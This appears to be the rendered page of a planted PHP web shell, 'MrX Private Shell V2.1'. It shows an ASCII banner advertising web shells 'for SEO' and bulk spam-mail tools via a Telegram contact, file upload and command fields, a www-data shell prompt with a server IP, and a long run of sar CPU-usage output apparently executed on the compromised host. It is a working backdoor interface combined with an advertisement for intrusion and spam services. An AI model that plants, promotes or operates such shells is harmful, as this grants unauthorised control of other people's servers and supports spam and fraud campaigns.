__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
Linux 6.8.0-90-generic (ns1) 	2026-01-22 	_x86_64_	(1 CPU)

00:00:20        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
00:10:00        all      2.96      0.06      0.55      0.71      0.00      0.00      0.01      0.00      0.00     95.70
00:10:00          0      2.96      0.06      0.55      0.71      0.00      0.00      0.01      0.00      0.00     95.70
00:20:14        all      2.68      0.00      0.49      0.08      0.00      0.00      0.02      0.00      0.00     96.74
00:20:14          0      2.68      0.00      0.49      0.08      0.00      0.00      0.02      0.00      0.00     96.74
00:30:20        all      3.99      0.65      0.76      7.76      0.00      0.00      0.02      0.00      0.00     86.83
00:30:20          0      3.99      0.65      0.76      7.76      0.00      0.00      0.02      0.00      0.00     86.83
00:40:20        all      2.42      0.00      0.43      0.05      0.00      0.00      0.01      0.00      0.00     97.09
00:40:20          0      2.42      0.00      0.43      0.05      0.00      0.00      0.01      0.00      0.00     97.09
00:50:04        all      2.32      0.00      0.36      0.06      0.00      0.00      0.01      0.00      0.00     97.25
00:50:04          0      2.32      0.00      0.36      0.06      0.00      0.00      0.01      0.00      0.00     97.25
01:00:18        all      2.37      0.00      0.39      0.04      0.00      0.00      0.01      0.00      0.00     97.19
01:00:18          0      2.37      0.00      0.39      0.04      0.00      0.00      0.01      0.00      0.00     97.19
01:10:01        all      2.49      0.00      0.45      0.05      0.00      0.00      0.02      0.00      0.00     97.00
01:10:01          0      2.49      0.00      0.45      0.05      0.00      0.00      0.02      0.00      0.00     97.00
01:20:01        all      2.54      0.00      0.38      0.03      0.00      0.00      0.02      0.00      0.00     97.03
01:20:01          0      2.54      0.00      0.38      0.03      0.00      0.00      0.02      0.00      0.00     97.03
01:30:12        all      2.51      0.00      0.38      0.06      0.00      0.00      0.01      0.00      0.00     97.03
01:30:12          0      2.51      0.00      0.38      0.06      0.00      0.00      0.01      0.00      0.00     97.03
01:40:01        all      3.16      0.00      0.46      0.05      0.00      0.00      0.03      0.00      0.00     96.30
01:40:01          0      3.16      0.00      0.46      0.05      0.00      0.00      0.03      0.00      0.00     96.30
01:50:20        all      4.44      0.00      0.59      0.06      0.00      0.00      0.04      0.00      0.00     94.87
01:50:20          0      4.44      0.00      0.59      0.06      0.00      0.00      0.04      0.00      0.00     94.87

01:50:20        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
02:00:07        all      2.54      0.00      0.49      0.04      0.00      0.00      0.02      0.00      0.00     96.91
02:00:07          0      2.54      0.00      0.49      0.04      0.00      0.00      0.02      0.00      0.00     96.91
02:10:01        all      2.50      0.00      0.42      0.04      0.00      0.00      0.02      0.00      0.00     97.02
02:10:01          0      2.50      0.00      0.42      0.04      0.00      0.00      0.02      0.00      0.00     97.02
02:20:20        all      2.38      0.00      0.39      0.04      0.00      0.00      0.02      0.00      0.00     97.18
02:20:20          0      2.38      0.00      0.39      0.04      0.00      0.00      0.02      0.00      0.00     97.18
02:30:20        all      2.33      0.00      0.36      0.05      0.00      0.00      0.02      0.00      0.00     97.25
02:30:20          0      2.33      0.00      0.36      0.05      0.00      0.00      0.02      0.00      0.00     97.25
02:40:01        all      2.36      0.00      0.39      0.05      0.00      0.00      0.02      0.00      0.00     97.19
02:40:01          0      2.36      0.00      0.39      0.05      0.00      0.00      0.02      0.00      0.00     97.19
02:50:20        all      2.44      0.00      0.37      0.05      0.00      0.00      0.02      0.00      0.00     97.13
02:50:20          0      2.44      0.00      0.37      0.05      0.00      0.00      0.02      0.00      0.00     97.13
03:00:20        all      2.29      0.00      0.36      0.04      0.00      0.00      0.02      0.00      0.00     97.29
03:00:20          0      2.29      0.00      0.36      0.04      0.00      0.00      0.02      0.00      0.00     97.29
03:10:01        all      3.16      0.00      0.50      0.03      0.00      0.00      0.02      0.00      0.00     96.29
03:10:01          0      3.16      0.00      0.50      0.03      0.00      0.00      0.02      0.00      0.00     96.29
03:20:00        all      3.53      0.00      0.54      0.11      0.00      0.00      0.03      0.00      0.00     95.79
03:20:00          0      3.53      0.00      0.54      0.11      0.00      0.00      0.03      0.00      0.00     95.79
03:30:14        all      5.33      0.00      0.61      0.89      0.00      0.00      0.05      0.00      0.00     93.12
03:30:14          0      5.33      0.00      0.61      0.89      0.00      0.00      0.05      0.00      0.00     93.12
03:40:01        all      3.24      0.00      0.59      0.07      0.00      0.00      0.02      0.00      0.00     96.08
03:40:01          0      3.24      0.00      0.59      0.07      0.00      0.00      0.02      0.00      0.00     96.08

03:40:01        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
03:50:20        all      2.60      0.00      0.48      0.08      0.00      0.00      0.02      0.00      0.00     96.82
03:50:20          0      2.60      0.00      0.48      0.08      0.00      0.00      0.02      0.00      0.00     96.82
04:00:00        all      2.32      0.00      0.41      0.04      0.00      0.00      0.02      0.00      0.00     97.21
04:00:00          0      2.32      0.00      0.41      0.04      0.00      0.00      0.02      0.00      0.00     97.21
04:10:01        all      2.38      0.00      0.40      0.05      0.00      0.00      0.02      0.00      0.00     97.15
04:10:01          0      2.38      0.00      0.40      0.05      0.00      0.00      0.02      0.00      0.00     97.15
04:20:18        all      2.78      0.00      0.41      0.05      0.00      0.00      0.02      0.00      0.00     96.74
04:20:18          0      2.78      0.00      0.41      0.05      0.00      0.00      0.02      0.00      0.00     96.74
04:30:18        all      3.35      0.00      0.50      0.06      0.00      0.00      0.02      0.00      0.00     96.07
04:30:18          0      3.35      0.00      0.50      0.06      0.00      0.00      0.02      0.00      0.00     96.07
04:40:01        all      2.33      0.00      0.37      0.05      0.00      0.00      0.02      0.00      0.00     97.23
04:40:01          0      2.33      0.00      0.37      0.05      0.00      0.00      0.02      0.00      0.00     97.23
04:50:04        all      2.29      0.00      0.38      0.06      0.00      0.00      0.02      0.00      0.00     97.25
04:50:04          0      2.29      0.00      0.38      0.06      0.00      0.00      0.02      0.00      0.00     97.25
05:00:04        all      2.56      0.00      0.42      0.09      0.00      0.00      0.02      0.00      0.00     96.92
05:00:04          0      2.56      0.00      0.42      0.09      0.00      0.00      0.02      0.00      0.00     96.92
05:10:20        all      2.37      0.00      0.37      0.05      0.00      0.00      0.01      0.00      0.00     97.20
05:10:20          0      2.37      0.00      0.37      0.05      0.00      0.00      0.01      0.00      0.00     97.20
05:20:10        all      7.77      0.00      0.57      0.04      0.00      0.00      0.10      0.00      0.00     91.52
05:20:10          0      7.77      0.00      0.57      0.04      0.00      0.00      0.10      0.00      0.00     91.52
05:30:16        all      7.55      0.00      0.68      0.05      0.00      0.00      0.10      0.00      0.00     91.61
05:30:16          0      7.55      0.00      0.68      0.05      0.00      0.00      0.10      0.00      0.00     91.61

05:30:16        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
05:40:20        all      2.52      0.00      0.46      0.04      0.00      0.00      0.02      0.00      0.00     96.96
05:40:20          0      2.52      0.00      0.46      0.04      0.00      0.00      0.02      0.00      0.00     96.96
05:50:14        all      2.50      0.00      0.51      0.43      0.00      0.00      0.02      0.00      0.00     96.54
05:50:14          0      2.50      0.00      0.51      0.43      0.00      0.00      0.02      0.00      0.00     96.54
06:00:20        all      3.09      0.00      0.50      0.04      0.00      0.00      0.02      0.00      0.00     96.35
06:00:20          0      3.09      0.00      0.50      0.04      0.00      0.00      0.02      0.00      0.00     96.35
06:10:01        all      2.35      0.00      0.46      0.03      0.00      0.00      0.02      0.00      0.00     97.14
06:10:01          0      2.35      0.00      0.46      0.03      0.00      0.00      0.02      0.00      0.00     97.14
06:20:04        all      3.06      0.00      0.45      0.05      0.00      0.00      0.02      0.00      0.00     96.42
06:20:04          0      3.06      0.00      0.45      0.05      0.00      0.00      0.02      0.00      0.00     96.42
06:30:07        all      2.77      0.00      0.44      0.06      0.00      0.00      0.02      0.00      0.00     96.71
06:30:07          0      2.77      0.00      0.44      0.06      0.00      0.00      0.02      0.00      0.00     96.71
06:40:01        all      2.22      0.00      0.34      0.06      0.00      0.00      0.02      0.00      0.00     97.36
06:40:01          0      2.22      0.00      0.34      0.06      0.00      0.00      0.02      0.00      0.00     97.36
06:50:03        all      3.06      0.00      0.51      0.06      0.00      0.00      0.02      0.00      0.00     96.35
06:50:03          0      3.06      0.00      0.51      0.06      0.00      0.00      0.02      0.00      0.00     96.35
07:00:04        all      3.44      0.44      0.70      5.04      0.00      0.00      0.02      0.00      0.00     90.36
07:00:04          0      3.44      0.44      0.70      5.04      0.00      0.00      0.02      0.00      0.00     90.36
07:10:01        all      3.12      0.00      0.46      0.04      0.00      0.00      0.02      0.00      0.00     96.36
07:10:01          0      3.12      0.00      0.46      0.04      0.00      0.00      0.02      0.00      0.00     96.36
07:20:02        all      2.58      0.00      0.47      0.13      0.00      0.00      0.02      0.00      0.00     96.80
07:20:02          0      2.58      0.00      0.47      0.13      0.00      0.00      0.02      0.00      0.00     96.80

07:20:02        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
07:30:06        all      2.40      0.00      0.36      0.05      0.00      0.00      0.02      0.00      0.00     97.17
07:30:06          0      2.40      0.00      0.36      0.05      0.00      0.00      0.02      0.00      0.00     97.17
07:40:01        all      2.35      0.00      0.40      0.05      0.00      0.00      0.02      0.00      0.00     97.19
07:40:01          0      2.35      0.00      0.40      0.05      0.00      0.00      0.02      0.00      0.00     97.19
07:50:20        all      3.64      0.00      0.48      0.03      0.00      0.00      0.02      0.00      0.00     95.83
07:50:20          0      3.64      0.00      0.48      0.03      0.00      0.00      0.02      0.00      0.00     95.83
08:00:04        all      3.68      0.00      0.66      0.06      0.00      0.00      0.03      0.00      0.00     95.58
08:00:04          0      3.68      0.00      0.66      0.06      0.00      0.00      0.03      0.00      0.00     95.58
08:10:02        all      2.56      0.00      0.41      0.04      0.00      0.00      0.02      0.00      0.00     96.98
08:10:02          0      2.56      0.00      0.41      0.04      0.00      0.00      0.02      0.00      0.00     96.98
08:20:14        all      2.37      0.00      0.39      0.05      0.00      0.00      0.02      0.00      0.00     97.18
08:20:14          0      2.37      0.00      0.39      0.05      0.00      0.00      0.02      0.00      0.00     97.18
08:30:20        all      2.28      0.00      0.36      0.03      0.00      0.00      0.01      0.00      0.00     97.32
08:30:20          0      2.28      0.00      0.36      0.03      0.00      0.00      0.01      0.00      0.00     97.32
08:40:04        all      3.30      0.00      0.48      0.08      0.00      0.00      0.02      0.00      0.00     96.11
08:40:04          0      3.30      0.00      0.48      0.08      0.00      0.00      0.02      0.00      0.00     96.11
08:50:13        all      2.46      0.00      0.43      0.06      0.00      0.00      0.02      0.00      0.00     97.04
08:50:13          0      2.46      0.00      0.43      0.06      0.00      0.00      0.02      0.00      0.00     97.04
09:00:14        all      3.23      0.00      0.53      0.05      0.00      0.00      0.02      0.00      0.00     96.17
09:00:14          0      3.23      0.00      0.53      0.05      0.00      0.00      0.02      0.00      0.00     96.17
09:10:01        all      2.90      0.00      0.46      0.03      0.00      0.00      0.02      0.00      0.00     96.59
09:10:01          0      2.90      0.00      0.46      0.03      0.00      0.00      0.02      0.00      0.00     96.59

09:10:01        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
09:20:04        all      2.72      0.00      0.44      0.06      0.00      0.00      0.01      0.00      0.00     96.77
09:20:04          0      2.72      0.00      0.44      0.06      0.00      0.00      0.01      0.00      0.00     96.77
09:30:20        all      2.54      0.00      0.41      0.04      0.00      0.00      0.01      0.00      0.00     96.99
09:30:20          0      2.54      0.00      0.41      0.04      0.00      0.00      0.01      0.00      0.00     96.99
09:40:01        all      2.48      0.00      0.42      0.03      0.00      0.00      0.01      0.00      0.00     97.07
09:40:01          0      2.48      0.00      0.42      0.03      0.00      0.00      0.01      0.00      0.00     97.07
09:50:01        all      3.25      0.00      0.46      0.08      0.00      0.00      0.01      0.00      0.00     96.20
09:50:01          0      3.25      0.00      0.46      0.08      0.00      0.00      0.01      0.00      0.00     96.20
10:00:04        all      2.51      0.00      0.42      0.07      0.00      0.00      0.01      0.00      0.00     96.99
10:00:04          0      2.51      0.00      0.42      0.07      0.00      0.00      0.01      0.00      0.00     96.99
10:10:01        all      2.46      0.00      0.38      0.03      0.00      0.00      0.02      0.00      0.00     97.11
10:10:01          0      2.46      0.00      0.38      0.03      0.00      0.00      0.02      0.00      0.00     97.11
10:20:14        all      2.44      0.01      0.41      0.09      0.00      0.00      0.01      0.00      0.00     97.04
10:20:14          0      2.44      0.01      0.41      0.09      0.00      0.00      0.01      0.00      0.00     97.04
10:30:20        all      2.44      0.00      0.41      0.06      0.00      0.00      0.01      0.00      0.00     97.08
10:30:20          0      2.44      0.00      0.41      0.06      0.00      0.00      0.01      0.00      0.00     97.08
10:40:01        all      2.36      0.00      0.40      0.04      0.00      0.00      0.02      0.00      0.00     97.18
10:40:01          0      2.36      0.00      0.40      0.04      0.00      0.00      0.02      0.00      0.00     97.18
10:50:20        all      2.49      0.00      0.41      0.03      0.00      0.00      0.01      0.00      0.00     97.06
10:50:20          0      2.49      0.00      0.41      0.03      0.00      0.00      0.01      0.00      0.00     97.06
11:00:04        all      2.53      0.00      0.40      0.05      0.00      0.00      0.01      0.00      0.00     97.00
11:00:04          0      2.53      0.00      0.40      0.05      0.00      0.00      0.01      0.00      0.00     97.00

11:00:04        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
11:10:01        all      3.30      0.00      0.58      0.05      0.00      0.00      0.03      0.00      0.00     96.04
11:10:01          0      3.30      0.00      0.58      0.05      0.00      0.00      0.03      0.00      0.00     96.04
11:20:14        all      2.54      0.00      0.40      0.03      0.00      0.00      0.01      0.00      0.00     97.01
11:20:14          0      2.54      0.00      0.40      0.03      0.00      0.00      0.01      0.00      0.00     97.01
11:30:01        all      3.56      0.00      0.53      0.05      0.00      0.00      0.02      0.00      0.00     95.83
11:30:01          0      3.56      0.00      0.53      0.05      0.00      0.00      0.02      0.00      0.00     95.83
11:40:01        all      4.47      0.00      0.64      0.05      0.00      0.00      0.03      0.00      0.00     94.81
11:40:01          0      4.47      0.00      0.64      0.05      0.00      0.00      0.03      0.00      0.00     94.81
11:50:19        all      3.83      0.00      0.57      0.05      0.00      0.00      0.02      0.00      0.00     95.52
11:50:19          0      3.83      0.00      0.57      0.05      0.00      0.00      0.02      0.00      0.00     95.52
12:00:14        all      2.48      0.00      0.42      0.04      0.00      0.00      0.02      0.00      0.00     97.04
12:00:14          0      2.48      0.00      0.42      0.04      0.00      0.00      0.02      0.00      0.00     97.04
12:10:20        all      2.22      0.00      0.36      0.05      0.00      0.00      0.01      0.00      0.00     97.36
12:10:20          0      2.22      0.00      0.36      0.05      0.00      0.00      0.01      0.00      0.00     97.36
12:20:04        all      2.42      0.00      0.38      0.03      0.00      0.00      0.01      0.00      0.00     97.16
12:20:04          0      2.42      0.00      0.38      0.03      0.00      0.00      0.01      0.00      0.00     97.16
12:30:05        all      2.68      0.00      0.42      0.07      0.00      0.00      0.01      0.00      0.00     96.81
12:30:05          0      2.68      0.00      0.42      0.07      0.00      0.00      0.01      0.00      0.00     96.81
12:40:18        all      3.03      0.00      0.43      0.06      0.00      0.00      0.02      0.00      0.00     96.46
12:40:18          0      3.03      0.00      0.43      0.06      0.00      0.00      0.02      0.00      0.00     96.46
12:50:20        all      2.34      0.00      0.43      0.03      0.00      0.00      0.02      0.00      0.00     97.18
12:50:20          0      2.34      0.00      0.43      0.03      0.00      0.00      0.02      0.00      0.00     97.18

12:50:20        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
13:00:03        all      2.68      0.00      0.45      0.05      0.00      0.00      0.01      0.00      0.00     96.80
13:00:03          0      2.68      0.00      0.45      0.05      0.00      0.00      0.01      0.00      0.00     96.80
13:10:05        all      2.60      0.00      0.44      0.05      0.00      0.00      0.02      0.00      0.00     96.90
13:10:05          0      2.60      0.00      0.44      0.05      0.00      0.00      0.02      0.00      0.00     96.90
13:20:09        all      2.89      0.00      0.45      0.05      0.00      0.00      0.02      0.00      0.00     96.59
13:20:09          0      2.89      0.00      0.45      0.05      0.00      0.00      0.02      0.00      0.00     96.59
13:30:14        all      3.00      0.00      0.48      0.03      0.00      0.00      0.02      0.00      0.00     96.48
13:30:14          0      3.00      0.00      0.48      0.03      0.00      0.00      0.02      0.00      0.00     96.48
13:40:20        all      2.36      0.00      0.37      0.05      0.00      0.00      0.01      0.00      0.00     97.21
13:40:20          0      2.36      0.00      0.37      0.05      0.00      0.00      0.01      0.00      0.00     97.21
13:50:20        all      2.40      0.00      0.39      0.05      0.00      0.00      0.01      0.00      0.00     97.16
13:50:20          0      2.40      0.00      0.39      0.05      0.00      0.00      0.01      0.00      0.00     97.16
14:00:14        all      3.43      0.00      0.52      0.04      0.00      0.00      0.02      0.00      0.00     95.98
14:00:14          0      3.43      0.00      0.52      0.04      0.00      0.00      0.02      0.00      0.00     95.98
14:10:01        all      2.46      0.00      0.40      0.04      0.00      0.00      0.01      0.00      0.00     97.08
14:10:01          0      2.46      0.00      0.40      0.04      0.00      0.00      0.01      0.00      0.00     97.08
14:20:07        all      2.67      0.00      0.47      0.06      0.00      0.00      0.02      0.00      0.00     96.78
14:20:07          0      2.67      0.00      0.47      0.06      0.00      0.00      0.02      0.00      0.00     96.78
14:30:15        all      2.70      0.00      0.42      0.03      0.00      0.00      0.02      0.00      0.00     96.83
14:30:15          0      2.70      0.00      0.42      0.03      0.00      0.00      0.02      0.00      0.00     96.83
14:40:01        all      2.36      0.00      0.39      0.05      0.00      0.00      0.02      0.00      0.00     97.19
14:40:01          0      2.36      0.00      0.39      0.05      0.00      0.00      0.02      0.00      0.00     97.19

14:40:01        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
14:50:20        all      2.50      0.00      0.40      0.03      0.00      0.00      0.01      0.00      0.00     97.05
14:50:20          0      2.50      0.00      0.40      0.03      0.00      0.00      0.01      0.00      0.00     97.05
15:00:14        all      2.34      0.00      0.39      0.05      0.00      0.00      0.01      0.00      0.00     97.21
15:00:14          0      2.34      0.00      0.39      0.05      0.00      0.00      0.01      0.00      0.00     97.21
15:10:20        all      3.56      0.00      0.55      0.05      0.00      0.00      0.02      0.00      0.00     95.82
15:10:20          0      3.56      0.00      0.55      0.05      0.00      0.00      0.02      0.00      0.00     95.82
15:20:08        all      2.99      0.00      0.46      0.05      0.00      0.00      0.02      0.00      0.00     96.48
15:20:08          0      2.99      0.00      0.46      0.05      0.00      0.00      0.02      0.00      0.00     96.48
15:30:17        all      2.65      0.00      0.45      0.05      0.00      0.00      0.01      0.00      0.00     96.84
15:30:17          0      2.65      0.00      0.45      0.05      0.00      0.00      0.01      0.00      0.00     96.84
15:40:01        all      2.67      0.00      0.45      0.06      0.00      0.00      0.02      0.00      0.00     96.81
15:40:01          0      2.67      0.00      0.45      0.06      0.00      0.00      0.02      0.00      0.00     96.81
15:50:20        all      3.02      0.00      0.51      0.06      0.00      0.00      0.02      0.00      0.00     96.40
15:50:20          0      3.02      0.00      0.51      0.06      0.00      0.00      0.02      0.00      0.00     96.40
16:00:20        all      2.88      0.00      0.52      0.05      0.00      0.00      0.02      0.00      0.00     96.53
16:00:20          0      2.88      0.00      0.52      0.05      0.00      0.00      0.02      0.00      0.00     96.53
16:10:00        all      2.84      0.00      0.50      0.04      0.00      0.00      0.01      0.00      0.00     96.61
16:10:00          0      2.84      0.00      0.50      0.04      0.00      0.00      0.01      0.00      0.00     96.61
16:20:14        all      3.03      0.00      0.53      0.04      0.00      0.00      0.01      0.00      0.00     96.39
16:20:14          0      3.03      0.00      0.53      0.04      0.00      0.00      0.01      0.00      0.00     96.39
16:30:19        all      2.80      0.00      0.50      0.05      0.00      0.00      0.01      0.00      0.00     96.64
16:30:19          0      2.80      0.00      0.50      0.05      0.00      0.00      0.01      0.00      0.00     96.64

16:30:19        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
16:40:01        all      2.86      0.00      0.50      0.07      0.00      0.00      0.02      0.00      0.00     96.55
16:40:01          0      2.86      0.00      0.50      0.07      0.00      0.00      0.02      0.00      0.00     96.55
16:50:20        all      2.77      0.00      0.48      0.06      0.00      0.00      0.01      0.00      0.00     96.68
16:50:20          0      2.77      0.00      0.48      0.06      0.00      0.00      0.01      0.00      0.00     96.68
17:00:06        all      4.08      0.00      0.71      0.04      0.00      0.00      0.03      0.00      0.00     95.14
17:00:06          0      4.08      0.00      0.71      0.04      0.00      0.00      0.03      0.00      0.00     95.14
17:10:01        all      3.06      0.00      0.53      0.05      0.00      0.00      0.02      0.00      0.00     96.35
17:10:01          0      3.06      0.00      0.53      0.05      0.00      0.00      0.02      0.00      0.00     96.35
17:20:14        all      3.08      0.00      0.45      0.03      0.00      0.00      0.02      0.00      0.00     96.43
17:20:14          0      3.08      0.00      0.45      0.03      0.00      0.00      0.02      0.00      0.00     96.43
17:30:20        all      2.67      0.00      0.41      0.04      0.00      0.00      0.01      0.00      0.00     96.86
17:30:20          0      2.67      0.00      0.41      0.04      0.00      0.00      0.01      0.00      0.00     96.86
17:40:20        all      2.33      0.00      0.39      0.04      0.00      0.00      0.01      0.00      0.00     97.23
17:40:20          0      2.33      0.00      0.39      0.04      0.00      0.00      0.01      0.00      0.00     97.23
17:50:05        all      2.24      0.00      0.35      0.05      0.00      0.00      0.01      0.00      0.00     97.35
17:50:05          0      2.24      0.00      0.35      0.05      0.00      0.00      0.01      0.00      0.00     97.35
18:00:16        all      2.51      0.00      0.39      0.07      0.00      0.00      0.01      0.00      0.00     97.02
18:00:16          0      2.51      0.00      0.39      0.07      0.00      0.00      0.01      0.00      0.00     97.02
18:10:01        all      2.77      0.00      0.52      0.04      0.00      0.00      0.02      0.00      0.00     96.65
18:10:01          0      2.77      0.00      0.52      0.04      0.00      0.00      0.02      0.00      0.00     96.65
18:20:01        all      2.83      0.00      0.58      0.08      0.00      0.00      0.02      0.00      0.00     96.50
18:20:01          0      2.83      0.00      0.58      0.08      0.00      0.00      0.02      0.00      0.00     96.50

18:20:01        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
18:30:02        all      2.75      0.00      0.76      0.05      0.00      0.00      0.02      0.00      0.00     96.42
18:30:02          0      2.75      0.00      0.76      0.05      0.00      0.00      0.02      0.00      0.00     96.42
18:40:04        all      3.79      0.00      0.92      0.07      0.00      0.00      0.02      0.00      0.00     95.19
18:40:04          0      3.79      0.00      0.92      0.07      0.00      0.00      0.02      0.00      0.00     95.19
18:50:00        all      3.81      0.00      1.00      0.07      0.00      0.00      0.02      0.00      0.00     95.10
18:50:00          0      3.81      0.00      1.00      0.07      0.00      0.00      0.02      0.00      0.00     95.10
19:00:00        all      5.43      0.00      1.14      0.05      0.00      0.00      0.03      0.00      0.00     93.35
19:00:00          0      5.43      0.00      1.14      0.05      0.00      0.00      0.03      0.00      0.00     93.35
19:10:01        all      4.66      0.00      1.11      0.06      0.00      0.00      0.02      0.00      0.00     94.15
19:10:01          0      4.66      0.00      1.11      0.06      0.00      0.00      0.02      0.00      0.00     94.15
19:20:00        all      3.52      0.00      0.85      0.09      0.00      0.00      0.02      0.00      0.00     95.51
19:20:00          0      3.52      0.00      0.85      0.09      0.00      0.00      0.02      0.00      0.00     95.51
19:30:01        all      2.97      0.00      0.75      0.05      0.00      0.00      0.02      0.00      0.00     96.21
19:30:01          0      2.97      0.00      0.75      0.05      0.00      0.00      0.02      0.00      0.00     96.21
19:40:02        all      3.33      0.00      0.83      0.07      0.00      0.00      0.02      0.00      0.00     95.75
19:40:02          0      3.33      0.00      0.83      0.07      0.00      0.00      0.02      0.00      0.00     95.75
19:50:01        all      3.72      0.00      0.88      0.06      0.00      0.00      0.02      0.00      0.00     95.31
19:50:01          0      3.72      0.00      0.88      0.06      0.00      0.00      0.02      0.00      0.00     95.31
20:00:06        all      4.40      0.00      0.95      0.07      0.00      0.00      0.02      0.00      0.00     94.56
20:00:06          0      4.40      0.00      0.95      0.07      0.00      0.00      0.02      0.00      0.00     94.56
20:10:00        all      3.46      0.00      0.90      0.07      0.00      0.00      0.02      0.00      0.00     95.55
20:10:00          0      3.46      0.00      0.90      0.07      0.00      0.00      0.02      0.00      0.00     95.55

20:10:00        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
20:20:00        all      3.76      0.00      0.88      0.05      0.00      0.00      0.02      0.00      0.00     95.29
20:20:00          0      3.76      0.00      0.88      0.05      0.00      0.00      0.02      0.00      0.00     95.29
20:30:00        all      3.16      0.00      0.79      0.07      0.00      0.00      0.02      0.00      0.00     95.97
20:30:00          0      3.16      0.00      0.79      0.07      0.00      0.00      0.02      0.00      0.00     95.97
20:40:03        all      4.07      0.00      1.06      0.07      0.00      0.00      0.02      0.00      0.00     94.77
20:40:03          0      4.07      0.00      1.06      0.07      0.00      0.00      0.02      0.00      0.00     94.77
20:50:03        all      5.73      0.00      1.26      1.51      0.00      0.00      0.03      0.00      0.00     91.47
20:50:03          0      5.73      0.00      1.26      1.51      0.00      0.00      0.03      0.00      0.00     91.47
21:00:02        all      5.25      0.00      1.04      0.09      0.00      0.00      0.03      0.00      0.00     93.60
21:00:02          0      5.25      0.00      1.04      0.09      0.00      0.00      0.03      0.00      0.00     93.60
21:10:00        all      3.14      0.00      0.74      0.06      0.00      0.00      0.02      0.00      0.00     96.05
21:10:00          0      3.14      0.00      0.74      0.06      0.00      0.00      0.02      0.00      0.00     96.05
21:20:02        all      4.59      0.00      0.95      1.22      0.00      0.00      0.04      0.00      0.00     93.20
21:20:02          0      4.59      0.00      0.95      1.22      0.00      0.00      0.04      0.00      0.00     93.20
21:30:02        all      3.07      0.00      0.90      0.08      0.00      0.00      0.02      0.00      0.00     95.93
21:30:02          0      3.07      0.00      0.90      0.08      0.00      0.00      0.02      0.00      0.00     95.93
21:40:03        all      4.54      0.00      1.09      0.09      0.00      0.00      0.03      0.00      0.00     94.25
21:40:03          0      4.54      0.00      1.09      0.09      0.00      0.00      0.03      0.00      0.00     94.25
21:50:04        all      2.87      0.00      0.72      0.05      0.00      0.00      0.02      0.00      0.00     96.35
21:50:04          0      2.87      0.00      0.72      0.05      0.00      0.00      0.02      0.00      0.00     96.35
22:00:04        all      3.01      0.00      0.77      0.15      0.00      0.00      0.02      0.00      0.00     96.06
22:00:04          0      3.01      0.00      0.77      0.15      0.00      0.00      0.02      0.00      0.00     96.06

